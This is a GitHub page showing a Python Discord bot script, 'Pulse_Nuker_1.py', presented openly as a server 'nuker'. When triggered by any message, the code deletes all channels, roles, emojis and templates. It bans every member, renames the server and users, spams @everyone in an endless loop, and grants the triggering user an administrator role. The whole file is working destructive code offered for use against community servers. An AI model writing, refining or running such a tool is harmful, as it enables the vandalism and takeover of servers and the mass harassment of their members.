-
Notifications
You must be signed in to change notification settings - Fork 0
/
Pulse_Nuker_1.py
143 lines (123 loc) · 3.71 KB
/
Pulse_Nuker_1.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
import os
import discord
import time
import random
import string
from discord.utils import get
def randomletters(length):
letters = string.ascii_letters
return ''.join(random.choice(letters) for i in range(length))
def randcol():
random_number = random.randint(0,16777215)
hex_number = str(hex(random_number))
hex_number ='0x'+ hex_number[2:]
return hex_number
TOKEN = ("")
client=discord.Client(intents=discord.Intents.all())
global TEST
TEST = 0
@client.event
async def on_ready():
global TEST
global icon
icon = open("icon.jpg", "rb").read()
TEST = 0
print("Pulse_Nuker v1.1 is running.\nInvite your bot and send any message to start nuke.\n\n")
print("WARNING!!\nYou may get API Timeout from Discord server if you nuke long.\nPlease Use wisely.")
return await client.change_presence(activity=discord.Game(name='Pulse_Nuker v1.1'))
'''
@client.event
async def on_member_ban(guild,user):
await guild.unban(user)
print("removed ban")
'''
@client.event
async def on_message(message):
global TEST
global icon
if TEST == 0:
TEST = 1
try:
guild=message.guild
await guild.edit(icon=icon)
except:
pass
for c in message.guild.channels:
try:
await c.delete()
except:
pass
for user in message.guild.members:
try:
await user.ban()
except:
pass
for role in message.guild.roles:
try:
await role.delete()
except:
pass
for Emoji in message.guild.emojis:
try:
await Emoji.delete()
except:
pass
for template in await message.guild.templates():
try:
await template.delete()
except:
pass
await message.guild.create_text_channel(randomletters(99))
response = '@everyone' #You can add some messages via editing this string
while True:
print("message sent "+random.choice(string.ascii_letters))
try:
await message.channel.send(response)
except:
print("message error")
pass
try:
guild=message.guild
for user in guild.members:
await user.edit(nick=randomletters(5))
except:
print("can't change user nick")
pass
try:
webhook = await message.channel.create_webhook(name="Pulse_Nuker Enhanced", reason="t")
except:
pass
try:
guild=message.guild
await guild.edit(name=randomletters(10))
except:
pass
guild=message.guild
perms=discord.Permissions(administrator=True)
try:
user=message.author
kk = randomletters(10)
await guild.create_role(name=kk, colour=discord.Colour.random(),permissions=perms)
role=get(guild.roles,name=kk)
await user.add_roles(role)
except:
print('maximum number of roles reached')
pass
guild=message.guild
await guild.create_text_channel(randomletters(99))
await guild.create_text_channel(randomletters(99))
try:
await message.channel.delete()
except:
pass
print("channel yeeted")
user=message.author
@client.event
async def on_command_error(error):
if isinstance(error, discord.HTTPException):
time.sleep(10)
@client.event
async def on_guild_channel_create(channel):
await channel.send("@everyone")
client.run(TOKEN)
#Made by Pulse.